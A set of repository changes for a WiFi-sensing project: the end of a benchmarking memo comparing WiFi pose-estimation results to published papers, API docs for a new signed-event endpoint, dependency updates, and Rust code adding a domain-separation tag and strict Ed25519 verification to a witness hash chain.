| **Person-in-WiFi-3D** (CVPR 2024, [openaccess](https://openaccess.thecvf.com/content/CVPR2024/html/Yan_Person-in-WiFi_3D_End-to-End_Multi-Person_3D_Pose_Estimation_with_Wi-Fi_CVPR_2024_paper.html)) | **PEER-REVIEWED**, CVPR 2024 | own 97k-frame multi-person set | — (multi-person, not single-PCK) | **91.7 mm (1p) / 108.1 (2p) / 125.3 (3p)** 3D joint error | MEASURED (peer-reviewed); own dataset, not MM-Fi |
|
||||
| **WiFlow-STD** (arXiv [2602.08661](https://arxiv.org/abs/2602.08661), [DY2434 repo](https://github.com/DY2434/WiFlow-WiFi-Pose-Estimation-with-Spatio-Temporal-Decoupling)) | PREPRINT, Apr 2026 | self-collected, 5-subj, **2D, in-domain random** | 97.25% (claimed) | 0.007 m (image-norm) | claimed CLAIMED; **project reproduced 96.09–96.61% (MEASURED, RTX 5080)** after repairing dataset/code |
|
||||
| **PerceptAlign** (arXiv [2601.12252](https://arxiv.org/abs/2601.12252)) | PREPRINT + MobiCom'26 acceptance | own 7-layout cross-domain 3D set | — | 222.4 mm (Scene4) / 317.1 (Scene5), claims −54% cross-env vs SOTA | CLAIMED (preprint); failure mode corroborated |
|
||||
| **Project AetherArena** (ADR-150, [issue #876](https://github.com/ruvnet/RuView/issues/876)) | internal | MM-Fi, **random split**, **torso-PCK** | **81.63% torso-PCK@20** | — | MEASURED-internal; **torso-PCK ≠ GraphPose-Fi standard PCK** |
|
||||
| **Project WiFlow-STD repro** (`benchmarks/wiflow-std/RESULTS.md`) | internal | their data, their split | **96.09–96.61%** | 0.0094–0.0098 m | MEASURED-internal (RTX 5080) |
|
||||
|
||||
**How the project's ~96% compares to the frontier:** It is *not directly comparable*. The 96% is on an easier task (2D, in-domain, image-normalized PCK, single-environment, 5 subjects) than GraphPose-Fi's 61.1% (3D, standard PCK, mm-scale). The project's own MM-Fi-track number (81.63% torso-PCK@20) *appears* to beat GraphPose-Fi's 61.1%, **but only because torso-PCK is a looser normalization** — the project explicitly flags this (ADR-150 cites beating "MultiFormer's 72.25%" under the *same* torso metric, not GraphPose-Fi's). The honest statement: **the project is competitive on in-domain MM-Fi under its own torso metric, and collapses cross-subject exactly as the published frontier does.** No public number lets the project claim "beyond-SOTA" today.
|
||||
|
||||
### RQ2 — What's winning architecturally now (2025–2026)
|
||||
|
||||
The clear trend across the verified 2025–2026 papers:
|
||||
|
||||
- **Graph / skeleton-aware decoders are the current academic SOTA on MM-Fi.** GraphPose-Fi (PREPRINT, Nov 2025) wins by injecting anatomical graph structure into the decoder — exactly the `GraphPose-Fi-style skeleton-aware graph head` ADR-150 §2.2 already names as the planned decoder. *The project's architecture direction matches the frontier.*
|
||||
- **Self-supervised masked pretraining (MAE) is the cross-domain lever, not capacity.** UNSW MAE study (arXiv [2511.18792](https://arxiv.org/abs/2511.18792), PREPRINT, Nov 2025): cross-domain gains scale **log-linearly with pretraining data, unsaturated at 1.3M samples**; ViT-Base adds only 0.4–0.9% over ViT-Small. Recipe: **80% masking, (30,3) small patches**. DT-Pose (arXiv 2501.09411) independently uses masked pretraining + topology constraints for the domain gap. *Caveat (MEASURED in ADR-152 §2.3): UNSW's downstream tasks are classification, not pose — pose transfer remains a hypothesis. The project's own measurement (b) found WiFlow-STD pretrained features give optimization transfer but NOT feature transfer to ESP32 CSI.*
|
||||
- **Spatio-temporal decoupling is the efficiency lever.** WiFlow-STD's whole contribution is decoupling spatial and temporal CSI processing to hit 2.23M params. The project verified the params/FLOPs (MEASURED) and then **beat it**: the half-model (843k) matches accuracy with 0.38× params (`RESULTS.md` efficiency sweep).
|
||||
- **Geometry/layout conditioning is the cross-layout lever.** PerceptAlign (MobiCom'26): fusing transceiver-position embeddings + two-checkerboard calibration, claimed −60% cross-domain. ADR-152 §2.1 already adopted this (`NodeGeometry`, geometry embeddings).
|
||||
- **NOT winning / absent:** diffusion models for CSI pose did not surface in the verified frontier. Full DensePose-UV regression from commodity WiFi remains undemonstrated (ADR-152 F5, MEASURED by full-text screening). No 2025–2026 paper was found that *beats the project's current direction* — the project is tracking, not trailing, the architecture frontier.
|
||||
|
||||
**Verdict RQ2:** the winning stack (MAE pretrain → graph/skeleton decoder → geometry conditioning, ViT-Small-class capacity) is *already the planned ADR-150/152 stack*. The gain available is not a new architecture; it's (a) more heterogeneous pretraining data and (b) honest cross-domain measurement.
|
||||
|
||||
### RQ3 — Edge/quantized inference SOTA for small CSI pose models
|
||||
|
||||
The in-tree edge work (`benchmarks/wiflow-std/RESULTS.md` "Edge optimization" + "Static PTQ" + "Efficiency sweep") is already at or beyond what the public literature offers for this specific model class, and is MEASURED. Key findings to carry forward:
|
||||
|
||||
- **Dynamic INT8 is a trap on all-conv CSI models.** WiFlow-STD has **zero `nn.Linear` layers** (21 Conv1d + 22 Conv2d + BatchNorm). `torch.quantize_dynamic` quantizes 0% of params (dynamic int8 has no conv kernels). MEASURED.
|
||||
- **Static QDQ conv-only PTQ is the int8 sweet spot.** PCK@20 96.60–96.63% (vs fp32 96.68%, dynamic 96.52%), 2.53 MB. All-ops QDQ is strictly worse (−1.4 pt). MEASURED.
|
||||
- **ONNX Runtime fp32 is the real CPU latency win**: 3.2 ms/window batch-1 vs torch 11.0 ms (~3.4×) at parity (2.4e-7). int8 is ~2× *slower* than ONNX fp32 at batch-1 (ConvInteger kernels). MEASURED.
|
||||
- **Smaller-than-published dominates.** half (843k) ≥ full on accuracy; **tiny (56k, 295 KB ONNX fp32, 0.66 ms/win, 94.1% PCK@20)** is the smallest deployable artifact. At tiny scale int8 is a *bad* trade (−1.43 pt for −47 KB). MEASURED.
|
||||
- **General QAT-vs-PTQ context (BLOG/VENDOR):** [NVIDIA TensorRT QAT blog](https://developer.nvidia.com/blog/achieving-fp32-accuracy-for-int8-inference-using-quantization-aware-training-with-tensorrt/), [Ultralytics QAT glossary](https://www.ultralytics.com/glossary/quantization-aware-training-qat), [ONNX Runtime quantization docs](https://onnxruntime.ai/docs/performance/model-optimizations/quantization.html): QAT "almost always" recovers accuracy PTQ loses on sensitive models; ONNX Runtime does NOT retrain (QAT must happen in PyTorch, then export QDQ). The [Onboard Optimization survey, arXiv 2505.08793](https://arxiv.org/pdf/2505.08793) (PREPRINT) covers on-device optimization broadly. These are *general* claims, not CSI-pose-specific — grade accordingly.
|
||||
- **Hailo / Pi target (CLAUDE.local.md):** the 4× Pi+Hailo cluster (Hailo-8 @ 26 TOPS / Hailo-10 @ 40 TOPS) needs a **HEF** compile path, which is its own toolchain (not ONNX/Candle). No in-tree HEF benchmark exists yet — this is a genuine gap for the edge-inference claim.
|
||||
|
||||
**Actionable for an inference-speed benchmark:** the honest comparand set is `{torch fp32, ONNX fp32, ONNX static-QDQ-conv-only int8, candle fp32}` × `{full, half, tiny}` on a fixed host, with the **host≠ESP32 / host≠Hailo caveat stated up front** (the `edge-latency/RESULTS.md` template already does this correctly). The one new datapoint worth producing: **QAT-int8 on the half model** to test whether QAT closes the PTQ −0.16 pt gap *and* keeps the size win.
|
||||
|
||||
### RQ4 — Rigorous, reproducible benchmark methodology
|
||||
|
||||
The repo already demonstrates the right methodology in three places — the ADR should codify it, not invent it:
|
||||
|
||||
- **`benchmarks/wiflow-std/RESULTS.md`** — the gold standard already in-tree: pinned upstream commit, seed-42 file-level split documented, corruption masks committed as ground truth, every forced deviation recorded, mean-pose honesty baseline, MEASURED-vs-CLAIMED grading.
|
||||
- **`benchmarks/edge-latency/RESULTS.md`** — criterion 0.5, explicit host machine, low/median/high brackets, contention caveat, host≠ESP32 separation, steady-state-vs-cold-start distinction.
|
||||
- **Rust micro-bench:** criterion benches already exist in both crates (`wifi-densepose-nn/benches/`, `wifi-densepose-train/benches/`).
|
||||
|
||||
What a credible "beyond-SOTA" claim requires (the bar that survives "prove it"):
|
||||
1. **One locked accuracy definition** — PCK normalization (torso vs absolute vs bbox), keypoint convention (15 vs 17 COCO), and split (random / cross-subject / cross-environment) declared *before* the run. The retracted 92.9% died exactly because PCK normalization was unstated.
|
||||
2. **A mean-pose / constant-output honesty baseline** on every split (already done in measurement (b) — a single-subject near-static set scored 95.9% torso-PCK@20 with a *constant* pose). Any claim must beat this.
|
||||
3. **MEASURED-vs-CLAIMED grading** per number, with the exact command and raw-JSON path committed.
|
||||
4. **Cross-domain, not just in-domain.** In-domain PCK is saturated and uninformative; the defensible claim is on cross-subject/cross-environment, where the frontier is 12–44% PCK@20.
|
||||
|
||||
---
|
||||
|
||||
## 3. Proposed benchmark-suite design
|
||||
|
||||
A two-part suite (`wifi-densepose-train` accuracy harness + `wifi-densepose-nn` latency harness), both committing raw JSON + a graded RESULTS.md.
|
||||
|
||||
### 3.1 Accuracy harness (`wifi-densepose-train`)
|
||||
|
||||
- **Metric module with one canonical PCK** (parameterized: `{torso, bbox, absolute}` normalization × threshold × keypoint-map), so a single function scores WiFlow-STD-repro, MM-Fi/AetherArena, and a GraphPose-Fi re-run identically. Lock the default to **torso-PCK@20 on 17-kp COCO** and *always* also print standard-PCK to expose the gap.
|
||||
- **Fixed datasets/splits:** (i) WiFlow-STD cleaned 360k (their split, for repro parity), (ii) MM-Fi P1 random + cross-subject + cross-environment (to line up against GraphPose-Fi 61.1/44.2/12.9 and the project's 81.63), (iii) ESP32 paired eval set when ≥2k multi-subject windows exist.
|
||||
- **Mandatory honesty baselines** emitted every run: mean-pose, constant-output, and (for cross-domain) source-only.
|
||||
- **Output:** raw JSON + a RESULTS.md table with MEASURED/CLAIMED grades, mirroring `benchmarks/wiflow-std/RESULTS.md`.
|
||||
|
||||
### 3.2 Latency/size harness (`wifi-densepose-nn`)
|
||||
|
||||
- **Matrix:** `{torch fp32 (ref), ONNX fp32, ONNX static-QDQ-conv-only int8, candle fp32}` × `{full 2.23M, half 843k, tiny 56k}` × `{batch 1, 64}`, criterion-timed, host declared.
|
||||
- **Report:** disk size, batch-1 + batch-64 ms/window (median + low/high), and PCK@20 on the locked 10k-window subset, so latency and accuracy never get cited apart.
|
||||
- **Caveat block up front:** host ≠ ESP32-S3/WASM3, host ≠ Hailo HEF. No host number is presented as the edge number.
|
||||
- **CI gate:** commit the current medians as regression baselines; fail PRs that regress latency >X% or accuracy >Y pt.
|
||||
|
||||
### 3.3 What counts as a defensible "beyond-SOTA" result
|
||||
|
||||
A claim is citable only if **all** hold: (1) scored under a pre-declared metric/split, (2) beats the relevant published frontier number *on the same metric definition* (e.g. >61.1% standard-PCK@20 on MM-Fi random, or >12.9% on cross-environment), (3) beats the mean-pose honesty baseline, (4) raw JSON + exact command committed, (5) graded MEASURED. The single most valuable "beyond-SOTA" target is **cross-environment MM-Fi**, where the published bar (12.9% PCK@20) is low enough that a real win is both achievable and unambiguous.
|
||||
|
||||
---
|
||||
|
||||
## 4. Gap table
|
||||
|
||||
| Capability | Project current (graded) | Published SOTA (graded) | Proposed target | Data / hardware needed |
|
||||
|---|---|---|---|---|
|
||||
| In-domain 2D PCK@20 (self-collected) | 96.09–96.61% (MEASURED, RTX 5080, WiFlow-STD repro) | 97.25% claimed (WiFlow-STD, CLAIMED) | match within noise + own architecture | cleaned 360k dataset (have); already met |
|
||||
| In-domain MM-Fi PCK@20 (torso-norm) | 81.63% torso-PCK (MEASURED-internal) | GraphPose-Fi 61.1% *standard*-PCK (PREPRINT) — **not comparable** | re-score both under **one** PCK def | MM-Fi P1 (have); unified metric harness (gap) |
|
||||
| **Cross-subject MM-Fi PCK@20** | ~11.6% torso (MEASURED, the cliff) | GraphPose-Fi 44.2% standard (PREPRINT) | close gap via MAE pretrain + graph decoder | 1.3M heterogeneous CSI corpus (ADR-150/152 §2.3), ViT-Small encoder |
|
||||
| **Cross-environment MM-Fi PCK@20** | untested-internal | GraphPose-Fi 12.9% standard (PREPRINT) | **beat 12.9% → cleanest beyond-SOTA win** | MM-Fi cross-env split + geometry conditioning (ADR-152 §2.1) |
|
||||
| ESP32 CSI→pose (17-kp) | no run beats mean-pose baseline (MEASURED, measurement b) | n/a (no public ESP32 pose benchmark) | beat mean-pose on temporal split | ≥2k multi-subject/multi-position paired windows (gap) |
|
||||
| Edge int8 size/accuracy | static QDQ conv-only 96.61% @ 2.53 MB; tiny 94.1% @ 295 KB fp32 (MEASURED) | no model-matched public number | **QAT-int8 on half model** (untested lever) | PyTorch QAT + QDQ export; RTX 5080 (have) |
|
||||
| Edge CPU latency | ONNX fp32 3.2 ms/win b1 host (MEASURED) | n/a (model-specific) | committed criterion regression baseline | host bench (have); ESP32/Hailo on-hardware (gap) |
|
||||
| Hailo HEF edge inference | none in-tree (gap) | n/a | first MEASURED HEF latency | Hailo compile toolchain + Pi cluster (have hardware, CLAUDE.local.md) |
|
||||
| Foundation encoder (MAE) | recipe adopted, untrained (ADR-152 §2.3) | UNSW: log-linear cross-domain scaling on *classification* (PREPRINT) | pose-transfer validation (hypothesis today) | 1.3M-sample corpus aggregation (priority per F3) |
|
||||
|
||||
---
|
||||
|
||||
## 5. Sources (graded)
|
||||
|
||||
| Source | Type | Grade | Used for |
|
||||
|---|---|---|---|
|
||||
| GraphPose-Fi, arXiv [2511.19105](https://arxiv.org/abs/2511.19105) | preprint | PREPRINT; table numbers MEASURED-in-study (fetched + quoted) | RQ1 MM-Fi frontier (61.1/44.2/12.9 PCK@20, 160.6/210.5/302.7 mm) |
|
||||
| WiFlow-STD, arXiv [2602.08661](https://arxiv.org/abs/2602.08661) + [DY2434 repo](https://github.com/DY2434/WiFlow-WiFi-Pose-Estimation-with-Spatio-Temporal-Decoupling) | preprint+code | numbers CLAIMED; artifacts MEASURED; **project repro 96% MEASURED** | RQ1/RQ2/RQ3 |
|
||||
| PerceptAlign, arXiv [2601.12252](https://arxiv.org/abs/2601.12252) | preprint + MobiCom'26 acceptance | CLAIMED numbers; failure mode corroborated | RQ1/RQ2 geometry conditioning |
|
||||
| UNSW MAE, arXiv [2511.18792](https://arxiv.org/abs/2511.18792) | preprint | ablations MEASURED-in-study; pose transfer = hypothesis | RQ2 MAE recipe |
|
||||
| DT-Pose, arXiv [2501.09411](https://arxiv.org/abs/2501.09411), OpenReview [aPnLQ6WfQQ](https://openreview.net/forum?id=aPnLQ6WfQQ), [code](https://github.com/cseeyangchen/DT-Pose) | preprint+code (ICLR'25) | exact MPJPE table NOT verified here — flagged | RQ2 masked-pretrain + topology |
|
||||
| Person-in-WiFi-3D, [CVPR 2024](https://openaccess.thecvf.com/content/CVPR2024/html/Yan_Person-in-WiFi_3D_End-to-End_Multi-Person_3D_Pose_Estimation_with_Wi-Fi_CVPR_2024_paper.html) | peer-reviewed | MEASURED (91.7/108.1/125.3 mm); own dataset | RQ1 3D multi-person frontier |
|
||||
| ONNX Runtime quantization [docs](https://onnxruntime.ai/docs/performance/model-optimizations/quantization.html) | vendor docs | VENDOR | RQ3 PTQ/QAT mechanics |
|
||||
| NVIDIA TensorRT QAT [blog](https://developer.nvidia.com/blog/achieving-fp32-accuracy-for-int8-inference-using-quantization-aware-training-with-tensorrt/), [Ultralytics](https://www.ultralytics.com/glossary/quantization-aware-training-qat) | vendor/blog | BLOG/VENDOR; general, not CSI-specific | RQ3 QAT>PTQ context |
|
||||
| Onboard Optimization survey, arXiv [2505.08793](https://arxiv.org/pdf/2505.08793) | preprint | PREPRINT | RQ3 on-device optimization landscape |
|
||||
| In-tree `benchmarks/wiflow-std/RESULTS.md`, `benchmarks/edge-latency/RESULTS.md`, ADR-150, ADR-152, ADR-015 | internal MEASURED | MEASURED-internal | grounding, all RQs |
|
||||
|
||||
**Unverified / flagged:** DT-Pose exact MM-Fi MPJPE table not extracted at primary-source precision (abstract-level only). GraphPose-Fi parameter count not reported in the paper. WiFlow-STD/PerceptAlign accuracy numbers are author-self-reported preprints. No CSI-pose-specific QAT benchmark exists in the public literature — the QAT recommendation rests on general (non-CSI) vendor/blog evidence.
|
||||
@@ -522,6 +522,25 @@ Base URL: `http://localhost:3000` (Docker) or `http://localhost:8080` (binary de
|
||||
| `GET` | `/api/v1/mesh` | ADR-110 fleet-wide mesh sync map ([iter 29](adr/ADR-110-esp32-c6-firmware-extension.md)) | `{"nodes":{"9":{...},"12":{...}},"total":2}` |
|
||||
| `GET` | `/api/v1/nodes/:id/sync` | Single-node mesh sync snapshot (or 404) | `{"offset_us":1163565,"is_leader":false,...}` |
|
||||
| `GET` | `/api/v1/mesh/metrics` | ADR-110 mesh state in Prometheus exposition format ([iter 36](adr/ADR-110-esp32-c6-firmware-extension.md)) | `wifi_densepose_mesh_offset_us{node="9"} 1163565\n…` |
|
||||
| `GET` | `/api/field` | ADR-262 P3 — latest **signed RuField `FieldEvent`s** from the live sensing cycle, plus the signer pubkey + a `dev_signing_key` flag. Only egress-safe (P1/P2) events are surfaced; identity/biometric (P4/P5) and raw (P0) are held edge-local | `{"spec":"rufield","signer_pubkey_hex":"…","dev_signing_key":true,"events":[…]}` |
|
||||
|
||||
### RuField surface (ADR-262 P3)
|
||||
|
||||
RuView's live WiFi-CSI sensing now also speaks the standalone **RuField MFS** wire format. Each governed sensing cycle is converted (via the `wifi-densepose-rufield` anti-corruption bridge) into a **signed** `FieldEvent` (`Modality::WifiCsi`, ed25519 `ProvenanceRef`) and surfaced on two additive endpoints:
|
||||
|
||||
- `GET /api/field` — the most recent signed events (JSON).
|
||||
- `GET /ws/field` — a WebSocket that streams each cycle's signed event (mirrors `/ws/sensing`).
|
||||
|
||||
```bash
|
||||
curl -s http://localhost:3000/api/field | python -m json.tool # latest signed FieldEvents
|
||||
python -c "import asyncio,websockets; asyncio.run((lambda: websockets.connect('ws://localhost:8765/ws/field'))())" # stream
|
||||
```
|
||||
|
||||
Privacy is fail-closed: only egress-safe **P1/P2** events leave the box — raw (P0) and identity/biometric/aggregate (P3–P5) cycles are held **edge-local** and never appear on these endpoints; a no-presence cycle emits **no event**.
|
||||
|
||||
**Signing key:** the surface signs with a **dedicated dev/sensing key**, seeded from `WDP_RUFIELD_SIGNING_SEED` (a 64-char hex string or a ≥32-byte value); when unset it falls back to a deterministic dev default and logs a `WARN` (the `dev_signing_key` flag in `/api/field` reflects this). This is a standalone key pending the ADR-262 §8 Q1 key-ownership decision — set `WDP_RUFIELD_SIGNING_SEED` for any real deployment.
|
||||
|
||||
> **Honesty (ADR-262 §0/§6):** this is real plumbing on a live endpoint, **not an accuracy claim.** It is the single-link CSI sensing with its existing caveats (no validated room-coordinate accuracy — positions are the "strongest field peak", not calibrated triangulation).
|
||||
|
||||
### Example: Get fleet mesh state (ADR-110)
|
||||
|
||||
|
||||
Generated
+60
@@ -3595,6 +3595,7 @@ dependencies = [
|
||||
"anyhow",
|
||||
"axum",
|
||||
"clap",
|
||||
"futures",
|
||||
"homecore",
|
||||
"homecore-api",
|
||||
"homecore-assist",
|
||||
@@ -3602,8 +3603,13 @@ dependencies = [
|
||||
"homecore-hap",
|
||||
"homecore-plugins",
|
||||
"homecore-recorder",
|
||||
"http-body-util",
|
||||
"reqwest 0.12.28",
|
||||
"serde",
|
||||
"serde_json",
|
||||
"tokio",
|
||||
"tower 0.5.3",
|
||||
"tower-http",
|
||||
"tracing",
|
||||
"tracing-subscriber",
|
||||
]
|
||||
@@ -3767,6 +3773,7 @@ dependencies = [
|
||||
"tokio",
|
||||
"tokio-rustls 0.26.4",
|
||||
"tower-service",
|
||||
"webpki-roots 1.0.7",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -6870,6 +6877,8 @@ dependencies = [
|
||||
"native-tls",
|
||||
"percent-encoding",
|
||||
"pin-project-lite",
|
||||
"quinn",
|
||||
"rustls 0.23.37",
|
||||
"rustls-pki-types",
|
||||
"serde",
|
||||
"serde_json",
|
||||
@@ -6877,6 +6886,7 @@ dependencies = [
|
||||
"sync_wrapper 1.0.2",
|
||||
"tokio",
|
||||
"tokio-native-tls",
|
||||
"tokio-rustls 0.26.4",
|
||||
"tower 0.5.3",
|
||||
"tower-http",
|
||||
"tower-service",
|
||||
@@ -6884,6 +6894,7 @@ dependencies = [
|
||||
"wasm-bindgen",
|
||||
"wasm-bindgen-futures",
|
||||
"web-sys",
|
||||
"webpki-roots 1.0.7",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -7085,6 +7096,42 @@ dependencies = [
|
||||
"smallvec",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rufield-core"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"serde",
|
||||
"serde_json",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rufield-fusion"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"rufield-core",
|
||||
"rufield-provenance",
|
||||
"serde",
|
||||
"toml 0.8.23",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rufield-privacy"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"rufield-core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rufield-provenance"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"ed25519-dalek",
|
||||
"rufield-core",
|
||||
"serde",
|
||||
"serde_json",
|
||||
"sha2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rumqttc"
|
||||
version = "0.24.0"
|
||||
@@ -11045,6 +11092,18 @@ dependencies = [
|
||||
"tower-http",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "wifi-densepose-rufield"
|
||||
version = "0.3.0"
|
||||
dependencies = [
|
||||
"rufield-core",
|
||||
"rufield-fusion",
|
||||
"rufield-privacy",
|
||||
"rufield-provenance",
|
||||
"serde",
|
||||
"serde_json",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "wifi-densepose-ruvector"
|
||||
version = "0.3.2"
|
||||
@@ -11094,6 +11153,7 @@ dependencies = [
|
||||
"wifi-densepose-engine",
|
||||
"wifi-densepose-geo",
|
||||
"wifi-densepose-hardware",
|
||||
"wifi-densepose-rufield",
|
||||
"wifi-densepose-signal",
|
||||
"wifi-densepose-wifiscan",
|
||||
"wifi-densepose-worldgraph",
|
||||
|
||||
@@ -72,6 +72,11 @@ members = [
|
||||
"crates/homecore-assist", # ADR-133 — HOMECORE voice assistant + ruflo bridge
|
||||
"crates/homecore-server", # iter-9 — HOMECORE integration binary (all 8 crates wired together)
|
||||
"crates/ruview-swarm", # ADR-148 — drone swarm control system
|
||||
# ADR-262 P1 — anti-corruption bridge converting RuView WiFi-CSI sensing
|
||||
# output into signed RuField FieldEvents. Path-deps the `vendor/rufield`
|
||||
# submodule crates (rufield-core/-provenance/-privacy/-fusion); single
|
||||
# coupling point between RuView and the standalone RuField MFS spec.
|
||||
"crates/wifi-densepose-rufield",
|
||||
]
|
||||
# ADR-040: WASM edge crate targets wasm32-unknown-unknown (no_std),
|
||||
# excluded from workspace to avoid breaking `cargo test --workspace`.
|
||||
|
||||
@@ -102,19 +102,43 @@ pub struct WitnessEvent {
|
||||
pub this_hash: WitnessHash,
|
||||
}
|
||||
|
||||
/// Domain-separation tag prefixing every witness canonical message.
|
||||
///
|
||||
/// This is the *domain tag* half of the "domain-tag + length-prefix"
|
||||
/// rule for any hashed/signed message whose fields are
|
||||
/// operator-influenceable. The witness chain already length-prefixes
|
||||
/// `kind` and `payload` (preventing intra-protocol concatenation
|
||||
/// forgery); the tag adds cross-protocol separation so a SHA-256
|
||||
/// preimage / Ed25519 message produced here can never be re-interpreted
|
||||
/// as a message from another signing context that shares key
|
||||
/// infrastructure — notably ADR-116's *manifest* `binary_signature`
|
||||
/// (Ed25519 over `binary_sha256`), which ADR-262 P2 reuses this exact
|
||||
/// chain for. A signature is only ever valid for the one domain whose
|
||||
/// tag it commits to.
|
||||
///
|
||||
/// The trailing NUL terminates the version string so a future
|
||||
/// migration (Blake3, extra fields, Merkle tier) bumps the tag instead
|
||||
/// of silently colliding with v1 bundles.
|
||||
pub const WITNESS_DOMAIN_TAG: &[u8] = b"cog-ha-matter/witness-event/v1\x00";
|
||||
|
||||
/// Compute the canonical-bytes form an event is hashed over.
|
||||
///
|
||||
/// The format is intentionally simple and length-prefixed so a
|
||||
/// future migration can be staged with a `version` byte in front
|
||||
/// without ambiguity:
|
||||
/// The format is domain-tagged and length-prefixed:
|
||||
///
|
||||
/// ```text
|
||||
/// prev_hash[32] | seq:u64-be | ts:u64-be | kind_len:u32-be | kind | payload_len:u32-be | payload
|
||||
/// DOMAIN_TAG | prev_hash[32] | seq:u64-be | ts:u64-be
|
||||
/// | kind_len:u32-be | kind | payload_len:u32-be | payload
|
||||
/// ```
|
||||
///
|
||||
/// Length-prefixing prevents the classic "concatenation forgery"
|
||||
/// attack where `"abc" + "def"` and `"ab" + "cdef"` would hash the
|
||||
/// same.
|
||||
/// * The leading [`WITNESS_DOMAIN_TAG`] gives cross-protocol
|
||||
/// separation: bytes signed/hashed here cannot be replayed as a
|
||||
/// message for another Ed25519 context in the same trust chain
|
||||
/// (e.g. the manifest `binary_signature`). It also carries a format
|
||||
/// version for staged migrations.
|
||||
/// * Length-prefixing `kind` and `payload` prevents the classic
|
||||
/// "concatenation forgery" where `"abc" + "def"` and `"ab" + "cdef"`
|
||||
/// would hash the same. The fixed-width `prev_hash`/`seq`/`ts`
|
||||
/// fields are self-delimiting.
|
||||
pub fn canonical_bytes(
|
||||
prev_hash: WitnessHash,
|
||||
seq: u64,
|
||||
@@ -123,7 +147,10 @@ pub fn canonical_bytes(
|
||||
payload: &[u8],
|
||||
) -> Vec<u8> {
|
||||
let kind_bytes = kind.as_bytes();
|
||||
let mut out = Vec::with_capacity(32 + 8 + 8 + 4 + kind_bytes.len() + 4 + payload.len());
|
||||
let mut out = Vec::with_capacity(
|
||||
WITNESS_DOMAIN_TAG.len() + 32 + 8 + 8 + 4 + kind_bytes.len() + 4 + payload.len(),
|
||||
);
|
||||
out.extend_from_slice(WITNESS_DOMAIN_TAG);
|
||||
out.extend_from_slice(&prev_hash.0);
|
||||
out.extend_from_slice(&seq.to_be_bytes());
|
||||
out.extend_from_slice(×tamp_unix_s.to_be_bytes());
|
||||
@@ -466,11 +493,51 @@ mod tests {
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn canonical_bytes_starts_with_prev_hash() {
|
||||
fn canonical_bytes_starts_with_domain_tag_then_prev_hash() {
|
||||
// Locks the on-wire format. A future migration that flips
|
||||
// field order must bump a version byte and update this test.
|
||||
// field order must bump the domain tag and update this test.
|
||||
let bytes = canonical_bytes(WitnessHash([7u8; 32]), 1, 2, "k", b"p");
|
||||
assert_eq!(&bytes[..32], &[7u8; 32]);
|
||||
let tag = WITNESS_DOMAIN_TAG.len();
|
||||
assert_eq!(&bytes[..tag], WITNESS_DOMAIN_TAG);
|
||||
assert_eq!(&bytes[tag..tag + 32], &[7u8; 32]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn canonical_bytes_is_domain_separated() {
|
||||
// Cross-protocol separation: the witness preimage must begin
|
||||
// with the domain tag so its SHA-256 / Ed25519 message can
|
||||
// never be reinterpreted as a message from another signing
|
||||
// context that shares key infrastructure (e.g. the manifest
|
||||
// `binary_signature` over `binary_sha256`). Fails on the old
|
||||
// un-tagged encoding, which began directly with `prev_hash`.
|
||||
let bytes = canonical_bytes(WitnessHash::GENESIS, 0, 0, "k", b"p");
|
||||
assert!(
|
||||
bytes.starts_with(WITNESS_DOMAIN_TAG),
|
||||
"canonical message is not domain-separated"
|
||||
);
|
||||
// The tag is versioned and NUL-terminated.
|
||||
assert!(WITNESS_DOMAIN_TAG.ends_with(b"\x00"));
|
||||
assert!(WITNESS_DOMAIN_TAG.windows(2).any(|w| w == b"v1"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn witness_preimage_cannot_collide_with_a_bare_manifest_digest() {
|
||||
// The manifest `binary_signature` signs a bare 64-byte
|
||||
// SHA-256 hex string. A witness preimage must never *equal*
|
||||
// such a string, even if an operator crafted kind/payload to
|
||||
// try — the domain tag (33 bytes) + fixed 48-byte prefix make
|
||||
// the witness message structurally longer and tag-distinct.
|
||||
// Fails on the old encoding only if it could ever produce a
|
||||
// 64-byte all-hex message; the tag makes the impossibility
|
||||
// explicit and regression-guarded.
|
||||
let manifest_digest_msg = "a".repeat(64); // 64 ASCII hex bytes
|
||||
let witness = canonical_bytes(WitnessHash::GENESIS, 0, 0, "", b"");
|
||||
assert_ne!(witness.as_slice(), manifest_digest_msg.as_bytes());
|
||||
assert!(
|
||||
witness.len() > manifest_digest_msg.len(),
|
||||
"domain tag must make witness preimage structurally distinct"
|
||||
);
|
||||
assert!(!witness.starts_with(b"aaaa"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
|
||||
@@ -36,7 +36,7 @@
|
||||
//! key store (separate concern). Tests use a fixed-bytes seed for
|
||||
//! determinism — never check in real Seed keys here.
|
||||
|
||||
use ed25519_dalek::{Signature, Signer, SigningKey, Verifier, VerifyingKey};
|
||||
use ed25519_dalek::{Signature, Signer, SigningKey, VerifyingKey};
|
||||
|
||||
use crate::witness::{canonical_bytes, WitnessEvent};
|
||||
|
||||
@@ -58,6 +58,16 @@ pub fn sign_event(event: &WitnessEvent, key: &SigningKey) -> Signature {
|
||||
/// Verify an Ed25519 signature against a witness event using the
|
||||
/// Seed's public key. `Ok(())` iff the signature is valid for the
|
||||
/// event's canonical bytes under this key.
|
||||
///
|
||||
/// Uses `verify_strict` (not the permissive `Verifier::verify`) on
|
||||
/// purpose: for a tamper-evident *audit* chain the signature is the
|
||||
/// attestation, so non-canonical encodings and small-order public
|
||||
/// keys must be rejected. `verify_strict` enforces RFC 8032's
|
||||
/// stricter checks, giving the "one canonical signature per event"
|
||||
/// property an auditor relies on when comparing or deduplicating
|
||||
/// signed witness records. The public key is caller-pinned (the
|
||||
/// Seed's known verifying key) — never parsed from the event — so a
|
||||
/// forged event carrying its own key cannot self-verify.
|
||||
